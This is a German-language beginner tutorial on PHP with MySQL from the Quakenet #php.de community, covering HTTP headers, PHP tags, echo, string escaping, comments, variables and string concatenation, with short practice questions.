Dies ist das Quakenet/#php.de Tutorial
über PHP und MySQL in der zweiten Version. Es ist komplett neu überarbeitet bzw. neu
geschrieben. Es geht von einer PHP5-Version aus, auf Feinheiten der PHP4-Version
wird nicht eingegangen, da es bereits veraltet ist.
2. Voraussetzungen
Bevor ihr dieses Tutorial durcharbeiten könnt braucht ihr einige Voraussetzungen.
Zum Schreiben der PHP-Skripte benötigt ihr einen Editor. Dazu eignen sich
Plaintext-Editoren mit Syntaxhighlighting. Die sog.
WYSIWYG-Editoren sind hingegen nicht zu empfehlen. Eine
Liste von gängigen PHP-Editoren finden sie in der
FAQ unter
Ich suche einen guten PHP-Editor.
Zum Testen der PHP-Skripte wird ein Webserver bzw. Webspace der
PHP unterstützt benötigt. Dafür gibt es genügend kostenlose Webspaces wo die
PHP-Skripte getestet werden können. Es ist auch möglich auf den Heim-PC ein
Webserver mit PHP zu installieren und Lokal die Skripte testen. Dies ist mit
Vorsicht zu genießen da beim Entwickeln leicht die Grenze zwischen Client und
Server überschreitet und dann Skripte schreibt die auf die Bereiche des Clients
zugreifen was später auf dem eigentlichen Webserver nicht mehr möglich ist.
3. Aufbau des Tutorial
Diese Tutorial ist wie üblich in Kapitel unterteilt. Jedes Kapitel enthält mehrere Unterpunkte.
Alle Kapitel sind linear angeordnet, es gibt also eine feste Reihenfolge. Es ist nicht
zu Empfehlen Kapitel zu überspringen da die Kapitel aufeinander aufbauen (siehe auch den Hinweis
am Anfang der Seite).
Zu jedem Kapitel können Übungsfragen existieren. Mit diesen Fragen kann überprüft werden
ob das Kapitel verstanden worden ist. Die Übungsfragen enthalten Verständnisfragen sowie auch
Fragestellungen nach PHP-Lösungen.
Unter der URL total.html befindet sich eine komplette zusammenhängende
Version des Tutorials. Dies kann verwendet werden um das Tutorial komplett auszudrucken anstatt das
Tutorial kapitelweise auszudrucken. Beachten sie jedoch dass dieses Dokument sehr groß ist.
4. Lizenz und Download des Tutorials
Wir bieten zur Onlineversion des Tutorials auch eine Download-Version an. Diese Version enthält
alle HTML/CSS-Dateien sowie alle Bilder des Tutorials.
Es kamen häufige Anfragen wo das Tutorial wie benutzt werden darf und was damit bzw. was mit den Inhalt
gemacht werden darf und was nicht. Als Grundlage darf verständlicherweise das Tutorial von der offiziellen
Homepage http://tut.php-quake.net/ gelesen und die Download-Version auf seinen PC runterladen
werden. Des Weiteren darf das Tutorial zu Lernzwecken in der realen Welt verwendet werden.
Dies schließt z.B. Unterricht in der Schule, Fortbildungen von Mitarbeitern und Übungen/Seminare an
Universitäten mit ein. Jedoch muss deutlich erkennbar sein dass es sich dabei um das Quakenet/#php-Tutorial
handelt. Ein Ausgeben des Tutorials auf ein Speichermedium wie einer CD für die Schüler/Mitarbeiter/Studenten
ist erlaubt. Fürs Internet dürfen Passagen des Tutorials mit Quellenangaben beliebig zitiert werden.
Es ist nicht erlaubt das Tutorial oder Teile des Tutorials als Mirror bereitzustellen. Dies betrifft die
Online- sowie die Download-Version. Wenn sie ihre Besucher auf das Tutorial aufmerksam machen wollen können
sie ein Link auf ihrer Homepage hinzufügen. Wenn sie Fragen bezüglich der Lizenz haben fragen sie
einen Operator im Channel #php.de vom
Quakenet.
1. Womit beginnt ein HTML-Dokument? <head>, <body> oder <html>?
Wenn sie jetzt <html> gesagt haben dann liegen sie falsch. HTML-Dokumente
beginnen entweder mit einem DOCTYPE oder sogar mit einer XML-Deklaration. Wenn sie das nicht wussten
sollten sie die Einführung in XHTML, CSS und Webdesign
von Michael Jendryschik lesen.
PHP ist das rekursive Backronym
für PHP: Hypertext Preprocessor. Der Name deutet an, dass etwas
vor einem Zeitpunkt verarbeitet wird. In diesem Fall werden die PHP-Befehle in einer
Datei verarbeitet bevor der Server die Datei (bzw. dessen Ausgabe) sendet. Vergleichbar
ist dies mit einem C-Präprozessor.
PHP ist ein Modul bzw. ein Programm, welches auf den Webserver installiert ist. In
den meisten Fällen ist dann auch z.B. eine Datenbank wie MySQL installiert. Das folgende
Diagramm veranschaulicht die installierten Programme/Module auf einem Webserver.
Abb.:Installierte Module auf einem Webserver
An dem Diagramm ist zu erkennen, dass PHP nichts mit dem Client bzw. mit dessem Browser zu
tun hat. Somit ist es mit PHP auch nicht möglich den Client als solches zu steuern. Gewünschte
Aktionen, wie Winamp zu steuern oder Programme (auf dem Client) zu starten, sind somit nicht
möglich.
Eine typische Anwendung von PHP ist das Verarbeiten von Daten aus einem HTML-Formular, wenn diese an den
Webserver geschickt werden. Diese PHP-Skripte können, da sie auf dem Webserver interpretiert
werden, mit einer dort installierten Datenbank arbeiten und somit die Formulardaten in diese
speichern. Dadurch ist es z.B. möglich mit PHP Newsscripte zu schreiben, die ihre Newsbeiträge aus
einer Datenbank auslesen. Das Ergebnis eines solchen PHP-Skripts ist jedoch weiterhin
ein normales HTML-Dokument. Der Browser erkennt somit gar nicht, dass der HTML-Code durch ein
PHP-Skript erzeugt wurde (Der Benutzer erkennt natürlich die .php Endung in der
URL). Dies heißt auch, dass die Benutzer nicht den PHP-Code lesen können.
2. Anfrage einer Datei aus der Sicht des Clients
Wenn der Client eine Datei vom Server anfragt sieht das vereinfacht wie folgt aus.
Abb.:Client schickt eine Anfrage zum Server
Aus der Sicht des Clients kriegt dieser dann eine Antwort vom Server.
Abb.:Client bekommt die Antwort vom Server
Obwohl nur eine einzige Verbindung zwischen Client und Server besteht, bekommt
der Client zwei logisch getrennte Inhalte.
Zuerst werden zum Client diverse Headerangaben gesendet.
Diese Angaben beschreiben den darauf folgenden Inhalt, sowie enthalten einige
Informationen über den Server. Diese Daten sind für den Benutzer in erster Linie
nicht sichtbar, wenn er eine Internetseite besucht. Für manche Browser existieren
Extensions, mit denen sich diese Headerangaben anzeigen lassen können.
Headerangaben können z.B. wie folgt aussehen:
HTTP/1.1 200 OK
Date: Mon, 26 Nov 2007 22:37:21 GMT
Server: Apache
Content-Type: text/html
In PHP ist es möglich diese Headerangaben zu bearbeiten, bevor sie zum Client
gesendet werden. Somit ist es möglich, dass ein PHP-Skript ein Bild generieren kann.
Jedoch muss vorher der Content-Type geändert werden, z.B. auf Content-Type: image/png.
Nach den Headerangaben wird der eigentliche Inhalt gesendet. Dieser
enthält meistens HTML-Code, kann aber auch Binärdaten wie von einem
PNG-Bild enthalten.
Mit PHP ist es möglich, beide Bereiche nach Belieben zu bearbeiten. Jedoch gibt es hier
eine Einschränkung. Die Headerangaben müssen vor dem Inhalt gesendet werden (passiert automatisch
mit der ersten Ausgabe).
Wenn sie z.B. mit PHP einen Text ausgeben, können sie danach nicht mehr
die Headerangaben ändern. Ein Versuch es trotzdem zu machen erzeugt eine Fehlermeldung der Form
Cannot modify header information - headers already sent by (output started at ...).
3. Anfrage einer Datei aus der Sicht des Servers
Wenn der Server eine Anfrage auf eine HTML-Datei bekommt, so braucht der Server diese
nur von seiner Festplatte zu laden und zum Client zu senden.
Abb.:Server bekommt eine Anfrage von einem Client
Da der Server auch diverse Headerangaben
senden muss, erzeugt er aus der Datei von sich aus einige Headerangaben. Als Beispiel
wird die Dateigröße angegeben, formal ist dies der Content-Length-Header. Die kompletten
Header könnten wie folgt aussehen.
HTTP/1.1 200 OK
Date: Wed, 28 Nov 2007 16:34:05 GMT
Server: Apache
Last-Modified: Mon, 26 Nov 2007 23:24:33 GMT
ETag: "d9b8a-2301-43fdd444c0e40"
Accept-Ranges: bytes
Content-Length: 8961
Content-Type: text/html
Dahinter sendet der Server dann den HTML-Code der HTML-Datei und ist fertig mit seiner Arbeit.
Abb.:Server sendet die Antwort zum Client
Da der Server nichts großartiges machen muss, geschieht dies in der Regel sehr schnell.
Interessanter wird die Sache, wenn der Client eine Anfrage auf eine Datei sendet und diese
PHP-Code enthält.
Abb.:Server bekommt eine Anfrage von einem Client
Nun muss der Server den Inhalt der Datei laden. Dies ist gleich gegenüber einer
normalen HTML-Datei.
Abb.:Server läd den Inhalt der Datei
Ab jetzt muss die Bearbeitung durch PHP geschehen. Da der Server nicht von sich
aus PHP-Befehle verarbeiten kann, startet er den PHP-Interpreter. Dieser arbeitet
nun die Befehle in der Datei entsprechend den Regeln einer Programmiersprache ab.
Abb.:Server verarbeitet die PHP-Befehle mit einem PHP-Interpreter
Am Ende hat dann der PHP-Interpreter bzw. ein PHP-Modul im Webserver die Datei
verarbeitet. Nun stehen dem Server die zwei Bereiche Headerangaben
und Inhalt vom PHP-Interpreter zur Verfügung. Diese werden nun zum
Client gesendet.
Abb.:Server sendet die Antwort zum Client
Aus der Sicht des Clients hat sich also nichts geändert. Er bekommt gar nicht mit,
dass auf den Server PHP installiert ist und das die angeforderte Datei PHP-Code enthielt.
Was er bzw. der Besucher jedoch merkt ist ein Geschwindigkeitsverlust. Da PHP-Dateien
erst durch den PHP-Interpreter laufen müssen, braucht der Server viel mehr Zeit (im Vergleich
zu einfachen HTML-Dateien) um eine Antwort senden zu können.
1. Welche zwei Teile werden vom Server zum Client gesendet?
In einer HTTP-Verbindung werden die beiden Teile Headerangaben und
Inhalt gesendet, und zwar in genau dieser Reihenfolge. Für den genauen
Datentransfer zwischen den Client und Server existiert die Norm
RFC 2616 - Hypertext Transfer
Protocol -- HTTP/1.1, die dies genau festlegt.
PHP-Code kann überall in HTML-Code eingebettet werden. Um in den PHP-Modus zu wechseln
wird die Zeichenfolge <?php verwendet. Zum Verlassen des PHP-Modus wird
die Zeichenfolge ?> verwendet. Alternativ ist es auch möglich den
PHP-Interpreter gegen das Dateiende rennen zu lassen. Überall in der Datei kann in den PHP-Modus
gewechselt werden, es ist sogar möglich den kompletten Dateiinhalt in den PHP-Modus zu setzen
(Ganz vorne ein <?php, ganz hinten ein ?>). Damit der Server weiß
dass es sich um eine PHP-Datei handelt, die entsprechend PHP-Befehle enthalten, haben
PHP-Dateien die Dateiendungen .php. Dies ist die Standardeinstellung
für einen Webserver mit PHP-Support, kann aber auch durch den Administrator geändert
werden. Eine Datei könnte z.B. wie folgt aussehen:
<?php echo "Beispiel einer PHP-Datei\n"; ?>
Hier ist die komplette Datei im PHP-Modus. Wie angemerkt kann
der PHP-Modus auch nur dort verwendet werden wo er gebraucht wird.
Text der sich außerhalb von PHP befindet (üblicherweise HTML-Code) wird als solches
zum Client gesendet, ohne dass er vom PHP-Interpreter bearbeitet wird. Er kann aber
auch durch PHP-Konstrukte wie Schleifen gesteuert werden.
Die zweite Variante eignet sich nicht zum Bearbeiten von Headerangaben. Mit den
ersten Zeichen was als Inhalt gesendet wird (hier das < von
<?xml version="1.0" encoding="utf-8"?>) werden auch die
Header gesendet und sind somit weg. Es besteht keine Chance mehr diese mittels
setcookie oder header zu bearbeiten.
Die XML-Deklaration kann auch ein Strich durch die Rechnung machen wenn mit
PHP gearbeitet wird. Die XML-Deklaration beginnt mit der Zeichenkette
<?xml. Dies ist zwar nicht gleich der Zeichenkette für
PHP (<?php) jedoch gibt es eine PHP-Einstellung das
die Zeichenkette <? auch für den PHP-Modus verwendet werden kann.
Diese Einstellung nennt sich short_open_tag.
Somit wird mit <?xml version="1.0" encoding="utf-8" ?>
ungewollt in den PHP-Modus gewechselt. Daraus folgt dass der PHP-Interpreter
Befehle bekommt die nicht für ihn bestimmt sind. Dieser kann dann die reine
Zeichenfolge xml version="1.0" encoding="utf-8" nicht verarbeiten und
erzeugt dann eine Fehlermeldung. Um das Problem zu umgehen kann die XML-Deklaration
selbst mit PHP ausgegeben werden. Dies wird z.B. in der Beschreibung zu
short_open_tag erklärt. Eine andere Möglichkeit wäre es einfach
diese Einstellung zu deaktivieren.
2. Funktionen
Um PHP zu testen kann eine PHP-Datei mit den folgenden Inhalt angelegt werden.
<?php phpinfo(); ?>
Dieser Inhalt wird in eine Datei namens phpinfo.php gespeichert und hochgeladen.
Wenn diese Datei nun im Browser vom Webserver geöffnet wird gibt es zwei mögliche Ausgaben.
Es wird eine reine leere Seite dargestellt. Dies ist der Fehlerfall.
Hier muss folgendes Überprüft werden.
Die Datei besitzt eine Dateiendung .php damit der PHP-Interpreter
sie als PHP-Datei erkennt.
Sie enthält gültigen PHP-Code.
Auf den Webserver ist PHP installiert und lauffähig.
Die Datei wird über eine http://-URL aufgerufen (Es ist ein beliebter Fehler
beim lokalen testen die Datei über file://C|/... aufzurufen).
Hier ist es ratsam sich den Quellcode anzugucken den der Server geschickt hat.
Je nach Browser ist dies unter Ansicht -> Quellcode zu finden. Wenn dort
der Inhalt der PHP-Datei zu sehen ist wurde die Datei nicht vom PHP-Interpreter
verarbeitet.
Im regulären Fall wird eine Seite angezeigt die nützliche Informationen über PHP anzeigt. Mit
phpinfo ist es also möglich die Konfiguration von PHP zu betrachten.
Dies ist also die erste Anlaufstelle um nachzugucken welche PHP-Module
installiert sind und wie die Einstellungen zu PHP sind. Wichtig ist dabei
z.B. die PHP Version, aber auch Einstellungen wie error_reporting
und display_errors.
An diesem kleinen Beispiel ist der Aufbau eines Funktionsaufrufs zu sehen. Wenn eine Funktion aufrufen werden soll
wird zuerst der Namen der Funktion geschrieben, hier phpinfo. Danach folgt eine geöffnete runde Klammer
(. Nun können Parameter für diese Funktion folgen. Die Parameter verändern das Verhalten der Funktion
entsprechend der Definition der Funktion im Handbuch. Wenn eine Funktion mehrere
Parameter erwartet, werden diese untereinander mit einem Kommata (,) trennen. Nach den Parametern
(falls vorhanden) wird die Parameterliste mit einer schließenden runden Klammer ) geschlossen. Diese
Klammern müssen bei Funktionen immer angegeben werden, selbst wenn kein Parameter verwendet wird (wie im Beispiel oben).
In PHP müssen Anweisungen (wie Funktionsaufrufe) mit einem Semikolon ; abgeschlossen
werden. Ein einfacher Funktionsaufruf ist z.B. eine solche Anweisung, deswegen folgt hier ein Semikolon.
Die einzelnen Teile eines Funktionsaufrufs können beliebig durch Leerzeichen getrennt werden. Um genauer zu
sein können sie durch Whitespaces getrennt werden. Dies schließt Leerzeichen mit ein,
enthalten aber auch Zeilenumbrüchen und Tabulatoren. Folgende Funktionsaufrufe sind alle gleichbedeutend.
Es liegt am eigenen Programmierstil welche Schreibweise für einen selbst am besten lesbar ist.
Im Bereich PHP gibt es diesbezüglich einen Standard, genannt
PEAR Coding Standard. An diesem sollten
sich PHP-Programmierer halten damit nicht nur ihr den Quellcode überblickt sondern auch
derjeniger der nach euch den Code lesen und verstehen muss.
Hauptziel eines PHP-Skriptes ist es, unabhängig von der Logik die
dahintersteckt, eine Ausgabe zu erzeugen. Beispielweise eine Auflistung
der Newsbeiträge. Um in einem PHP-Skript Texte auszugeben (ohne den PHP-Modus
zu verlassen) wird üblicherweise der Sprachkonstrukt echo verwendet.
Ein Beispiel könnte wie folgt aussehen.
<?php echo 'Ein Text der ausgegeben wird'; ?>
Das Erste was auffällt ist die Tatsache dass die Klammern der Funktion fehlen.
Das liegt daran dass echo keine Funktion sondern ein
spezieller Sprachkonstrukt ist. Das Manual sagt dazu folgendes.
echo() is not actually a function (it is a language construct), so you are not required to use parentheses with it.
Das Zweite ist dass der Text der ausgegeben werden soll
innerhalb von zwei Apostrophs ' steht. Auf diese Weise wird
(unabhängig von echo) eine Zeichenkette (Fachbegriff: String) mit
dem entsprechenden Inhalt erzeugt.
Dieser String dient dann als Parameter für den echo-Sprachkonstrukt und echo
gibt diesen String aus. Wenn nun ein PHP-Skript mit diesem Code hochgeladen wird und
das Skript aufruft so wird folgender Text ausgegeben.
Ein Text der ausgegeben wird
Fügen wir nun einen weiteren echo-Befehl in unser PHP-Skript ein.
<?php echo 'Ein Text der ausgegeben wird'; echo 'Nun folgt ein anderer Text'; ?>
Wenn das Skript nun auf einem Webserver läuft wird folgender Text ausgegeben.
Ein Text der ausgegeben wirdNun folgt ein anderer Text
Der zweite String wurde hier einfach hinter den anderem String ausgegeben. Was anderes
steht auch nicht im PHP-Skript. Einmal wurde ein String ausgegeben, dann ein
weiterer String. Obwohl die beiden echo-Befehle mit einem Zeilenumbruch
getrennt sind werden die Strings so wie sie sind ausgegeben. Um einen
Zeilenumbruch in der Ausgabe zu haben können wir z.B. das HTML-Element
<br/> benutzen.
2. HTML-Code ausgeben
HTML-Code bzw. die besonderen Zeichen < und >
können in Strings ohne Probleme benutzt werden. Somit können wir am Ende
des ersten Strings das HTML-Element <br/> anfügen.
<?php echo 'Ein Text der ausgegeben wird<br/>'; echo 'Nun folgt ein anderer Text'; ?>
Wie erwartet steht im Browser den folgenden Inhalt.
Ein Text der ausgegeben wird
Nun folgt ein anderer Text
Wenn der Quellcode im Browser betrachtet wird stehen beide Strings weiterhin hintereinander.
Ein Text der ausgegeben wird<br/>Nun folgt ein anderer Text
3. Steuerzeichen in Strings
Wenn wir versuchen ein Apostroph innerhalb eines Strings zu schreiben erhalten
wir ein Problem, da PHP das Ende des Strings fälschlicherweise zu früh erkennt.
<?php echo 'Dummy Text ' mit Apostroph'; echo 'Ein weiterer Text; ?>
Auch an der Einfärbung erkennt man wie PHP den String nur bis zum 2. Apostroph
erkennt. Um nun das Zeichen ' in den String zu kriegen kann man z.B.
Double Quoted Strings verwenden. Das sind Strings die
statt den Apostroph die Anführungszeichen " als Begrenzer benutzen.
<?php echo "Dummy Text ' mit Apostroph"; echo "Ein weiterer Text"; ?>
Eine andere Möglichkeit ist die eine Escape-Sequenz einzufügen.
In PHP-Strings ist \ das Escape-Zeichen, es wird verwendet wenn
man eine solche Escape-Sequenz haben möchte. In Single Quoted
Strings (Strings mit ' als Begrenzer) wird mit
\' ein Apostroph erzeugt.
<?php echo 'Dummy Text \' mit Apostroph'; echo 'Ein weiterer Text'; ?>
Die gleiche Idee kann verwendet werden wenn man in double quoted Strings ein
Anführungszeichen erzeugen will.
<?php echo "Dummy Text \" mit Apostroph"; echo "Ein weiterer Text"; ?>
Stellt sich nun die Frage wie man ein einzelnes \ erzeugt,
ohne dass es gleich als Start einer Escape-Sequenz interpretiert wird.
Die Lösung ist das Escapen des Escape-Zeichens.
<?php echo "Double quoted mit \\ im Text"; echo 'Single quoted mit \\ im Text'; ?>
Obwohl single quoted und double quoted Strings scheinbar die selbe
Funktionalität besitzen sind in double quoted Strings mehr
Escape-Sequenzen möglich. Die folgende Tabelle enthält eine Liste
der zusätzlichen Escape-Sequencen in double quoted Strings.
Tabelle der Escape-Sequencen
Zeichen
Beschreibung
\n
Ein Zeilenumbruch
\r
Ein Wagenrücklauf, oft verwendet bei Netzwerkprotokollen.
\t
Ein Tabulator
\v
Vertikaler Tabulator, eher selten verwendet
\f
Seitenvorschub, noch seltener verwendet
\$
Ein Dollarzeichen. Ohne diese Sequenz wird versucht eine Variable zu finden und dessen
Inhalt einzufügen.
In PHP gibt es 4 Arten von Strings, wobei hier 2 genannt wurden. Neben
Double quoted Strings und Single quoted Strings
gibt es auch noch sogenannte Heredocs und Nowdocs.
Eine Erklärung von Strings ist im Handbuch von PHP unter
Strings zu finden.
In PHP werden Texte bzw. Textstellen die der PHP-Interpreter
ignoriert als Kommentare bezeichnet. Dies ist Vergleichbar mit den HTML-Kommentaren mit der
<!-- -->-Syntax. Somit kann man, wie der Name es schon sagt, Kommentare zum Skript
schreiben bis hin zu einzelnen Hinweisen zu Zeilen im PHP-Skript hinzufügen. So
kann z.B. ein Author seinen Namen und die Lizenzbestimmungen in seinem PHP-Skript
hinterlassen, ohne dass der PHP-Interpreter sich darüber beschwert dass ungültiger
PHP-Code im PHP-Skript steht.
2. Syntax von Kommentaren
In PHP gibt es 4 Arten von Kommentartypen, wobei meistens nur 3 von denen
benutzt. Und von diesen drei gibt es zwei Kommentartypen die fast identisch sind.
Daher wird nur zwischen zwei Klassen von Kommentartypen unterschieden. Einmal den
einzeiligen Kommentaren und den mehrzeiligen Kommentaren.
Bei den einzeiligen Kommentaren handelt es sich um Kommentare
die bis zum Zeilenende oder ?> gelten. Solch ein einzeiliger Kommentar
wird mit der Zeichenkette // eingeleitet (nicht zu verwechseln mit der
String Escape-Sequenz \\). Der folgende Text wird dann als Kommentar behandelt
und somit vom PHP-Interpreter ignoriert.
<?php echo 'Text'; // gib einen Text aus
// Gebe nun einen weiteren Text aus echo 'weiterer Text';
// echo 'ich werde nicht ausgegeben, da ich in einem Kommentar stehe';
echo 'Ich werde ausgegeben, obwohl ich ein // im String enthalte';
// kommentar läuft bis zum php-ende ?><?php echo 'ich bin nicht mehr im kommentar'; ?>
An den Beispielen sieht man, dass nicht jedes // ein Kommentar ist, z.B.
wenn es in einem String steht. Auch wird ?> als mögliches Ende
erkannt.
Mehrzeilige Kommentare definieren Kommentare die sich über
mehrere Zeilen erstrecken können. Statt also in jeder Zeile am Anfang ein //
zu schreiben wird ein Start- und Ende-Zeichen für einen mehrzeiligen Kommentar
geschrieben. Ein mehrzeiliger Kommentar wird dabei mit /* gestartet und
endet beim nächsten */.
<?php echo "Wieder was ausgeben"; /* Irgendein Kommentar der sich über mehrere Zeilen erstreckt bis zum entsprechenden stopzeichen */ echo "Und wieder im PHP-Modus drin"; ?>
Für das Auge kann man diese Kommentare nun etwas lesbarer schreiben, so z.B. einige Zeilen
einrücken.
<?php echo "Wieder was ausgeben"; /* Irgendein Kommentar der sich über mehrere Zeilen erstreckt bis zum entsprechenden stopzeichen */ echo "Und wieder im PHP-Modus drin"; ?>
Dies kann man auch übertreiben und Kommentare noch besonders vorheben.
Hier sieht man auch, dass es nicht nötig ist Leerzeichen vor bzw. nach den
Start- und End-Markierungen hinzuzufügen. Bei dieser Art der Kommentare kann
das PHP-Ende ?> nicht mehr als Kommentarende erkannt werden.
Die dritte Variante sind die Kommentare im PHPDoc Style. Diese sind
fast identisch mit den mehrzeiligen Kommentare. Der Unterschied liegt an der
Startmarkierung /** wobei das Leerzeichen am ende
ein beliebiges Whitespace ist. Oft wird dabei ein Zeilenumbruch statt den Leerzeichen
benutzen.
<?php /** Ein Kommentar im PHPDoc Style */ echo "wieder normaler php code"; ?>
Nun stellt man sich die Frage warum zwei unterschiedliche mehrzeilige Kommentare
existieren wo die sich kaum Unterscheiden. Mit PHPDoc bezeichnet man
spezielle Kommentare die dazu dienen bestimmte Teile im PHP-Skript
zu Kommentieren. So schreibt man z.B. vor eigens definierten Funktionen
einen solchen PHPDoc Kommentar der beschreibt wie diese Funktion arbeitet
und was sie leistet.
<?php /** * Gibt eine Zahl aus. * * Die folgende Funktion gibt die übergebene Zahl aus. * * @param i Die Zahl die ausgegeben werden soll. */ function ausgeben($i) { // ... } ?>
Der Aufbau eines solchen PHPDocs wird durch das phpDocumentor Projekt
geregelt. Dies ist vergleichbar mit dem Javadoc Tool
mit dem selben hintergedanken. Wenn nun solche PHPDoc-Kommentare in einem Quellcode einfügt werden, so
können spezielle Programme (eben dieses PHPDoc) verwendet werden die diese PHPDoc-Kommentare auslesen
und verarbeiten. Sie
erstellen dann aus den Daten HTML-Seiten mit den Beschreibungen der Funktionen (und Klassen). Somit können
fremde PHP-Autoren sich einfacher in den PHP-Quellcode einlesen und müssen nicht mehr oder weniger
raten was eine Funktion machen soll sondern lesen einfach in den generierten HTML-Dateien die Beschreibungen
nach.
3. Auskommentieren
Neben den Schreiben von Entwicklerhinweisen ist es auch möglich Kommentare für etwas zu nutzen
was allgemein Auskommentieren genannt wird. Im Entwicklungsprozess möchte
man z.B. manchmal PHP-Code deaktieren bzw. nicht ausführen lassen, unabhängig von eventuellen
Benutzereingaben. Eine Möglichkeit wäre es den entsprechenden PHP-Code zu löschen. Aber dann ist
er entsprechend nicht mehr vorhanden und muss wieder hingeschrieben werden wenn man ihn doch wieder
braucht. Hingegen einfacher ist es den PHP-Code kurzerhand in einen Kommentar zu packen. Nehmen wir an
wir hätten folgenden PHP-Code.
<?php mach_was(); mach_dies(); und_jenes(); ?>
Wenn der Entwickler nun die Ausführung von mach_dies() kurz deaktiveren will kann
er diesen in einen einzeiligen Kommentar schreiben.
<?php mach_was(); //mach_dies(); und_jenes(); ?>
Wenn man nun mit seinen Tests des PHP-Skripts fertig ist so braucht er dann einfach die
// Zeichen löschen. Für mehrere Zeilen kann man auch die mehrzeiligen
Kommentare verwenden.
Hier gibt es einen Trick wie man die Ausführung wieder schnell aktivieren kann, neben
dem Löschen von /* und */. Dazu muss man zuerst vor dem
*/ ein // schreiben, also den Start eines einzeiligen Kommentars.
Jetzt sieht man auch warum man vorhin die // bei */ einfügen musste. So
wird sichergestellt dass kein ungültiger PHP-Code entsteht (gennant Parse Error).
Wie man sieht existieren nun 2 einzeilige Kommentare. Wenn man nun wieder das //*
durch /* ersetzt so wird das ganze wieder zu einem mehrzeiligen Kommentar bis zum
*/.
Da ein mehrzeiliger Kommentar mit einem */ endet ist es nicht möglich innerhalb
des mehrzeiligen Kommentars die Zeichenkette */ zu verwendet. Dies mag trivial klingen
jedoch ist dies eine beliebte Fehlerquelle bei Kommentaren, wenn versucht wird
Kommentare zu schachteln. Dies macht man nicht bewusst sondern eher durch unbedachtheit.
Wir nehmen folgenden PHP-Code an.
Bei diesem PHP-Code würde der PHP-Interpreter die Abarbeitung unterbrechen. Anhand der Färbung hier im Tutorial ist
zu erkennen dass der äußere Kommentar nicht als solches erkannt wird. Jedoch aus Sicht von PHP ist alles logisch
und sinnvoll. In Zeile 3 erkennt PHP den Beginn eines mehrzeiligen Kommentars und in Zeile 8 das Ende des
mehrzeiligen Kommentars (nicht in Zeile 10 wie gewollt). Somit würde auch und_dieses()
Ausgeführt werden. Jedoch scheitert der PHP-Interpreter schon am Parsen des Skripts, da er mit dem */
in Zeile 10 nichts anfangen kann, und quittiert die Abarbeitung mit einem Parse Error.
Zwar erkennt man hier schnell den Fehler, aber bei größeren Programmcode kann sich so ein Parse Error einschleichen
weil man zuerst einen kleineren Kommentar hat und darüber ein größeren Kommentar erzeugt.
Es gibt insgesammt 4 Kommentararten, hier wurden jedoch nur 3 besprochen. Dies sind die
einzeiligen Kommentare, mehrzeiligen Kommentare und
PHPDoc Kommentare. Die 4. Möglichkeit sind einzeilige Kommentare
die das Zeichen # statt // verwenden. Eine Beschreibung der
Kommentare in PHP findet man im Handbuch unter Comments.
Üblicherweise dienen PHP-Skripte dazu eine Ausgabe dynamisch zu erzeugen.
Die PHP-Skripte selbst sind jedoch konstant was deren Inhalt betrifft. Daher
müssen wir im PHP-Skript etwas haben was dynamisch gefüllt werden kann.
Dafür gibt es Variablen. Sie werden vom Skript entsprechend
mit Daten gefüllt und können dann an anderere Stelle im Skript verwendet werden.
2. Aufbau von Variablen
Damit Variablen in PHP als solche erkannt werden, müssen sie besonders
gekennzeichnet werden. Daher beginnen alle Variablen in PHP mit dem Dollarzeichen
$. Danach müssen sie mit einem Buchstaben oder Unterstrich _
beginnen. Nach dem ersten Zeichen können auch Ziffern im Variablennamen stehen.
Variablen die mit einem Unterstrich anfangen haben meist eine besondere Bedeutung, der
Entwickler sollte daher keine eigene Variablen definieren die mit einem Unterstrich
anfangen.
<?php $gueltig $10_nicht_gueltig ?>
Variablen in PHP sind case-sensitiv, d.h. die Groß-/Kleinschreibung spielt eine
Rolle und ist wichtig. Die Variable $foo ist eine andere als
$FOO. Insbesondere bei den Superglobalen Variablen ist das wichtig,
da diese z.B. $_GET lauten und nicht z.B. $_get.
3. Zuweisungsoperator
Um eine Variable mit einem Wert zu füllen wird der Zuweisungsoperator =
verwendet. Dabei muss die Variable links vom Gleichheitszeichen stehen, der Wert
der gespeichert werden soll rechts.
1. Wie ist der syntaktische Aufbau einer Variablen?
Variablen müssen zuerst mit dem Dollarzeichen $ anfangen. Danach dürfen dann
beliebige Buchstaben und der Unterstrich _ folgen. Nach dem ersten Variablenzeichen
dürfen dann auch Zahlen verwendet werden. Umlaute sind auch als Variablennamen zulässig, auch wenn
einige Editoren mit Syntaxhighlighting dies nicht richtig erkennen. Siehe dazu auch im Handbuch
das Kapitel Variables.
Ein Operator von PHP ist der Verkettungsoperator der als einzelner Punkt
geschrieben wird (.). Dieser wird verwendet um zwei Ausdrücke
miteinander zu verbinden.
<?php 'Max'.'Mustermann'; // erzeugt den String "MaxMustermann" ?>
Dabei ist es egal ob es sich um Strings oder Variablen handeln die man
verketten möchte. Auch Zahlen können so mit Strings verkettet werden.
<?php 'Foo'.'Bar'; 'Bla'.$var; $var1.$var2; ?>
Bei diesen Beispiel-Codes wurde zwar die Verkettung ausgerechnet, doch
das Ergebnis wurde nicht verwendet. Da das ganze auch wieder als Ausdruck gilt kann
es z.B. in eine Variable gespeichert werden oder direkt mit echo
ausgegeben werden.
Die Anzahl der Verkettungen ist unbegrenzt. PHP verkettet intern dabei stehts weiterhin 2
Ausdrücke miteinander und nutzt das Ergebnis für die nächste Verkettung.
Es gibt einige Stolperfallen wenn man Variablen an Strings anhängen möchte, die Strings jedoch
single quotes und double quotes enthalten.
Besonders im Bezug auf Strings mit HTML-Code entstehen einige Fehler.
<?php // man wollte ein link <a href="index.php?section=XYZ">Link</a> haben, wobei // XYZ aus einer Variablen gefüllt wird. $var = 'XYZ'; echo '<a href="index.php?section='.$var.'">Link</a>'; // eine richtig Möglichkeit echo "<a href=\"index.php?section=\".$var.\">Link</a>"; // dies würde <a href="index.php?section=".XYZ.">Link</a> ausgeben, also nicht das was man möchte echo '<a href="index.php?section=".$var.">Link</a>'; // dies würde <a href="index.php?section=".$var.">Link</a> ausgeben ?>
Viele irritiert die Tatsache dass man z.B. hier nach der Variable sowas wie
.'" oder sogar ."\" schreiben muss. Jedoch
muss man bedenken dass man nach dem Punkt . wieder einen
neuen String benutzen will, in der man dann wieder escapen muss. Um diesen
Stolperstein zu umgehen erzeugt man zuerst den HTML-Code komplett ohne
Variable und fügt dann erst durch den Verkettungsoperator die
Variable ein. Dabei muss man drauf achten welchen Stringtyp man verwendet hat,
single quoted oder double quoted.
